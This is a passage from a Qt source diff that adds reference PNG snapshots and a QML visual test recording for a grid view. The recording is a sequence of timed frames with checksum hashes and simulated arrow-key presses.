b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png new file mode 100644 index 0000000..08649f9 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png new file mode 100644 index 0000000..f9c2f17 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png new file mode 100644 index 0000000..52ec0bd Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png new file mode 100644 index 0000000..3fe25be Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png new file mode 100644 index 0000000..4cc12a6 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.7.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png new file mode 100644 index 0000000..2267f23 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.8.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png new file mode 100644 index 0000000..6c82777 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.9.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml new file mode 100644 index 0000000..c7ac52d --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativegridview/data/gridview.qml @@ -0,0 +1,2859 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 32 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 48 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 64 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 80 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 96 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 112 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 128 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 144 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 160 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 176 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 192 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 208 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 224 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 240 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 256 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 272 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 288 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 304 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 320 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 336 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 352 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 368 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 384 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 400 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 416 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Frame { + msec: 432 + hash: "c33447c78ea64452ec3cd1696fb502eb" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 448 + hash: "96ad89eafa7f99269518a192573af91b" + } + Frame { + msec: 464 + hash: "735b00b968d0e2ea1f34cc0bdc028a8e" + } + Frame { + msec: 480 + hash: "ce37c8e15fbb1aea72aff9629683fa96" + } + Frame { + msec: 496 + hash: "a3f2471ef4ceac77a1c20ac327550d8d" + } + Frame { + msec: 512 + hash: "28f120bd3bda9552dbc8cc908409c67d" + } + Frame { + msec: 528 + hash: "f21cf0ed746fa48e67dc90c70c5bbae8" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "485d55730366b68e01582879f6970fa1" + } + Frame { + msec: 560 + hash: "700e53c78b28993dce5dafb4035f4760" + } + Frame { + msec: 576 + hash: "1e538e175a5e402e2334cf354392e8a7" + } + Frame { + msec: 592 + hash: "0fbfba93eebaf05ae60067b365b6b4bc" + } + Frame { + msec: 608 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Frame { + msec: 624 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Frame { + msec: 640 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Frame { + msec: 656 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Frame { + msec: 672 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Frame { + msec: 688 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Frame { + msec: 704 + hash: "7b1893397b76b0c95094eeca1dd21446" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 720 + hash: "25e48099a8194ed2674651818d854c61" + } + Frame { + msec: 736 + hash: "b75d02dfc238ba2292306ca1421279c3" + } + Frame { + msec: 752 + hash: "7e48b7d9c1291b4e438c81f44228d8ad" + } + Frame { + msec: 768 + hash: "fe4b009abe081a6eaeab6ef9e996f3fd" + } + Frame { + msec: 784 + hash: "edea8c305fe88708dbafc03e427caa09" + } + Frame { + msec: 800 + hash: "7b58803f12d0ab893acf539799d79e31" + } + Frame { + msec: 816 + hash: "9b56c3d1d140114dcc57d0a8568e9b95" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 832 + hash: "35e38e273dbc8e565917b21d00fc1530" + } + Frame { + msec: 848 + hash: "116e294391333e8780daeca54c3d51ea" + } + Frame { + msec: 864 + hash: "6219676215f82540d7a53b2a8aa60279" + } + Frame { + msec: 880 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 896 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 912 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 928 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 944 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 960 + image: "gridview.0.png" + } + Frame { + msec: 976 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 992 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1008 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1024 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1040 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1056 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1072 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1088 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1104 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1120 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1136 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Frame { + msec: 1152 + hash: "02c632713d0dc64bff9d8e58f745df95" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1168 + hash: "2667c2596de97dc15353158eba03495f" + } + Frame { + msec: 1184 + hash: "6a7b64e1427dcb7e438aa09a739cbc7b" + } + Frame { + msec: 1200 + hash: "5bad6dc745958f5827403ea593c78752" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1216 + hash: "b393401219ada7d094a451dba8af3f1a" + } + Frame { + msec: 1232 + hash: "ba656452f8adf3d1ca7db9286274c37f" + } + Frame { + msec: 1248 + hash: "1e9725c8c364a491f34035fad1f77c63" + } + Frame { + msec: 1264 + hash: "a0aef0b65446dec0673b5cec3a260390" + } + Frame { + msec: 1280 + hash: "d60c11a5d376af0831d6f05f2a839a92" + } + Frame { + msec: 1296 + hash: "1dd2c456c6ee9cc8f9be0e9f3617d44b" + } + Frame { + msec: 1312 + hash: "56208e6551e2f4202bab2d62a1cf46a2" + } + Frame { + msec: 1328 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1344 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1360 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1376 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1392 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1408 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1424 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1440 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1456 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1472 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1488 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1504 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1520 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1536 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1552 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1568 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1584 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1600 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1616 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1632 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Frame { + msec: 1648 + hash: "caa3c1a106d549e6bb94a1746bd7a53c" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1664 + hash: "f0f00d22d15ed9828db7b5f3a3669fe9" + } + Frame { + msec: 1680 + hash: "153e7984089530bbd052c9e4f62eb14c" + } + Frame { + msec: 1696 + hash: "0525d40cc58d054a3abd7ee2486576f8" + } + Frame { + msec: 1712 + hash: "8c23d5245774ab5252c98c19c33f8171" + } + Frame { + msec: 1728 + hash: "5ca243794d1350f04cf973d4bfc8ab89" + } + Frame { + msec: 1744 + hash: "d19b7f4c0897aba498e122d83b4cbbf1" + } + Frame { + msec: 1760 + hash: "99e41460dd8efc6e5c3faf54b14c3d43" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 1776 + hash: "703469f8b133156ed3aabe02762d66c3" + } + Frame { + msec: 1792 + hash: "1cc2c383e988048db76a80d8d7f5a0e2" + } + Frame { + msec: 1808 + hash: "8e87117c19eb9d6e600c44e0f3869ae1" + } + Frame { + msec: 1824 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1840 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1856 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1872 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1888 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1904 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1920 + image: "gridview.1.png" + } + Frame { + msec: 1936 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1952 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1968 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Frame { + msec: 1984 + hash: "8304d2432168a2ea8a887d9a135b40b4" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2000 + hash: "4924037ce643d0748b8b2c666e61fd62" + } + Frame { + msec: 2016 + hash: "ef9750584e669a8b2d415d13854e12a6" + } + Frame { + msec: 2032 + hash: "69937eacef6e6b11ad1d5741c69a1faa" + } + Frame { + msec: 2048 + hash: "a1bd870fffd95a0604dd8e170e571632" + } + Frame { + msec: 2064 + hash: "a3a72386594aacc88977cdaa6441df48" + } + Frame { + msec: 2080 + hash: "6d8e89de38d52f0f0f871dfa18361cb5" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2096 + hash: "96cfb1eb6893fac86c9434d1ffb82fcb" + } + Frame { + msec: 2112 + hash: "5e11df1660634ff317be474118174ec5" + } + Frame { + msec: 2128 + hash: "2eb75858b50c3a9a80673ab89014ed63" + } + Frame { + msec: 2144 + hash: "3ff5d66f7902af92d49ebebf04d16c26" + } + Frame { + msec: 2160 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2176 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2192 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2208 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2224 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2240 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2256 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2272 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2288 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2304 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2320 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Frame { + msec: 2336 + hash: "570da61e2d48acd11474fe005110ab4b" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2352 + hash: "efeda5b2d97e1b7c22e2308250501cb7" + } + Frame { + msec: 2368 + hash: "d6158379b699279f66b94a8418e53af1" + } + Frame { + msec: 2384 + hash: "ab960b0669fa594e0552df623a9136ea" + } + Frame { + msec: 2400 + hash: "0ebf6be1305ee1eb8740f4d0365ef4c5" + } + Frame { + msec: 2416 + hash: "46cde47dffc6f2687c8c643eca09b95d" + } + Frame { + msec: 2432 + hash: "2b8698ce02a6964115d960ae19f40c37" + } + Frame { + msec: 2448 + hash: "ff1e7d800bb27b41710c50554adc1091" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2464 + hash: "5837b3aca09038cae23dcb149acc8b0b" + } + Frame { + msec: 2480 + hash: "dbe7c571cdbdb9de4fd01faa6d5374cf" + } + Frame { + msec: 2496 + hash: "f431abcaf05f49ead909296d7649f8a9" + } + Frame { + msec: 2512 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2528 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2544 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2560 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2576 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2592 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2608 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2624 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2640 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2656 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2672 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2688 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2704 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2720 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2736 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2752 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2768 + hash: "043583b19c921740dbc990afd4f508ed" + } + Frame { + msec: 2784 + hash: "043583b19c921740dbc990afd4f508ed" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2800 + hash: "4f2fafdb59db544352e3067d67c0a714" + } + Frame { + msec: 2816 + hash: "4dcd4cdf6f4e305732185ec52cd2f2f6" + } + Frame { + msec: 2832 + hash: "dfd3c29b0520edbbee57dfacfa7e2b30" + } + Frame { + msec: 2848 + hash: "257d3d8bcf78671d35a898befec091cb" + } + Frame { + msec: 2864 + hash: "20e89c544284603943396694abe86756" + } + Frame { + msec: 2880 + image: "gridview.2.png" + } + Frame { + msec: 2896 + hash: "b88c6af89423b32b3a4413035711df03" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 2912 + hash: "e34de13af44c449c9ecc86e06ce01ed2" + } + Frame { + msec: 2928 + hash: "98ffe81129aa7cc7325764221f1dae59" + } + Frame { + msec: 2944 + hash: "db2d545de9879362738e71a02a3d1d26" + } + Frame { + msec: 2960 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 2976 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 2992 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3008 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3024 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3040 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3056 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3072 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3088 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Frame { + msec: 3104 + hash: "e67ae32a47213b360c1a445bf645dde2" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3120 + hash: "02d8c90faf56c65252e4f938944bda7b" + } + Frame { + msec: 3136 + hash: "a32994e2320e357241f63b956b6db236" + } + Frame { + msec: 3152 + hash: "9ada466c26c217adbcd7a93df264ed75" + } + Frame { + msec: 3168 + hash: "79d1a3489be95d113e8c611a2ba63456" + } + Frame { + msec: 3184 + hash: "d3aa82455c4ae3ac25097354e132a30f" + } + Frame { + msec: 3200 + hash: "62d12e5933ed4ed048ccafd229f4b2b7" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3216 + hash: "5bc4ac94ae20e425084d0811dee1ba08" + } + Frame { + msec: 3232 + hash: "6d5113e3732dc7a9172eea3667a01f7b" + } + Frame { + msec: 3248 + hash: "e435a2588b25d3336f290331931f5981" + } + Frame { + msec: 3264 + hash: "bce201adbeb319b181cce139f179d7f0" + } + Frame { + msec: 3280 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3296 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3312 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3328 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3344 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3360 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3376 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3392 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3408 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3424 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3440 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Frame { + msec: 3456 + hash: "5fa3ec31176bed2de8cb076b87e0be74" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3472 + hash: "8f0f3cd35ae92047f23084f447046eb8" + } + Frame { + msec: 3488 + hash: "ceb12e6c5e9f0566039040d9f3ff587f" + } + Frame { + msec: 3504 + hash: "dfd0c89c3ea73aceefcdafa71609c720" + } + Frame { + msec: 3520 + hash: "8d8ed1a9dc6a9f74dfc81b79f02af4c5" + } + Frame { + msec: 3536 + hash: "d450bd62e03e1e4c7cb66e98ece05f97" + } + Frame { + msec: 3552 + hash: "d1ece2210cd24eedd5361e5c3a162236" + } + Frame { + msec: 3568 + hash: "77589e48b9db95e702055753046319e5" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3584 + hash: "7793263ecb831a1e63fbd76c8addde03" + } + Frame { + msec: 3600 + hash: "bfa9675f981c37fed27dea100226f61a" + } + Frame { + msec: 3616 + hash: "9780849fe8abd22c32ccafcdd46b0d65" + } + Frame { + msec: 3632 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3648 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3664 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3680 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3696 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3712 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3728 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3744 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3760 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3776 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3792 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3808 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3824 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3840 + image: "gridview.3.png" + } + Frame { + msec: 3856 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3872 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3888 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3904 + hash: "e63d987ba303a42046827f14941b444a" + } + Frame { + msec: 3920 + hash: "e63d987ba303a42046827f14941b444a" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 3936 + hash: "a61dbcb7d914afe34009085bf37fb8e2" + } + Frame { + msec: 3952 + hash: "89175b83b4f7ee4b5d99219cdc97aa59" + } + Frame { + msec: 3968 + hash: "f524421286503f6175e4ad71dd89145f" + } + Frame { + msec: 3984 + hash: "ca5af7d98a008eccba1e21be0da61f3c" + } + Frame { + msec: 4000 + hash: "77c19e7e17e00787ff0d7a4e7bad7bc8" + } + Frame { + msec: 4016 + hash: "04c8db761e324101ad92e0ac9ceed7d4" + } + Frame { + msec: 4032 + hash: "97a3dcb81349efab6b44d458e83ce5c4" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4048 + hash: "e86ebc276b88705c97cc9efb66ccc6b2" + } + Frame { + msec: 4064 + hash: "a134bbfd14879f13b288a04d23382348" + } + Frame { + msec: 4080 + hash: "9530ad3f58ad1c66401572869f7d91bc" + } + Frame { + msec: 4096 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4112 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4128 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4144 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4160 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4176 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4192 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4208 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Frame { + msec: 4224 + hash: "db3d030de94b19ea1db5c60be7c7ca5c" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4240 + hash: "980e0fa84fd3bab496623936f5f220a2" + } + Frame { + msec: 4256 + hash: "ed3268911723d664699bbc31317befc1" + } + Frame { + msec: 4272 + hash: "3bfda4b3b0b2d2a97ec1c0b5b3f4da63" + } + Frame { + msec: 4288 + hash: "1616c6def28659d51905564ff83cc112" + } + Frame { + msec: 4304 + hash: "68342f34c18956d3a093f8eeeae6977e" + } + Frame { + msec: 4320 + hash: "ac1b12959e9055a28fe2bda0a12b75bc" + } + Frame { + msec: 4336 + hash: "009b85ff6b86e418c78ed33a5e88d3f1" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4352 + hash: "59753bc7dc69767fe2109fdc41f20dae" + } + Frame { + msec: 4368 + hash: "1c87d3d8c8d564d4d95a26f57fd28f38" + } + Frame { + msec: 4384 + hash: "4e43b7b6787002c9013010dd74c83f49" + } + Frame { + msec: 4400 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4416 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4432 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4448 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4464 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4480 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4496 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4512 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4528 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4544 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4560 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4576 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Frame { + msec: 4592 + hash: "2476aa1a7191b485a76c76e98c9be2b0" + } + Key { + type: 6 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4608 + hash: "84de5b5e8b0fba190a783c72967661c7" + } + Frame { + msec: 4624 + hash: "60b696f4913379d28f300fd1b531c6cb" + } + Frame { + msec: 4640 + hash: "d01e651d9094332fd82ad1cea3e93e9d" + } + Frame { + msec: 4656 + hash: "87be4cd7c894b03b2b64c996e915d71f" + } + Frame { + msec: 4672 + hash: "b07fccb0c5565d2feed5a9fcdf8acead" + } + Frame { + msec: 4688 + hash: "3dca3165fd34be549d21fb6c414c67d8" + } + Frame { + msec: 4704 + hash: "5f69f3298f8ca73fa9b3b6e630c60186" + } + Key { + type: 7 + key: 16777236 + modifiers: 536870912 + text: "1d" + autorep: false + count: 1 + } + Frame { + msec: 4720 + hash: "d7f41e9a29d550a7d9a41bb947569abe" + } + Frame { + msec: 4736 + hash: "4ede2e90ad216a2d44580c50a25dea23" + } + Frame { + msec: 4752 + hash: "9b339845ee588b789dc9095c272e0bdf" + } + Frame { + msec: 4768 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4784 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4800 + image: "gridview.4.png" + } + Frame { + msec: 4816 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4832 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4848 + hash: "9cdea4790972efaecabd52b435107e69" + } + Frame { + msec: 4864 + hash: "9cdea4790972efaecabd52b435107e69" + } 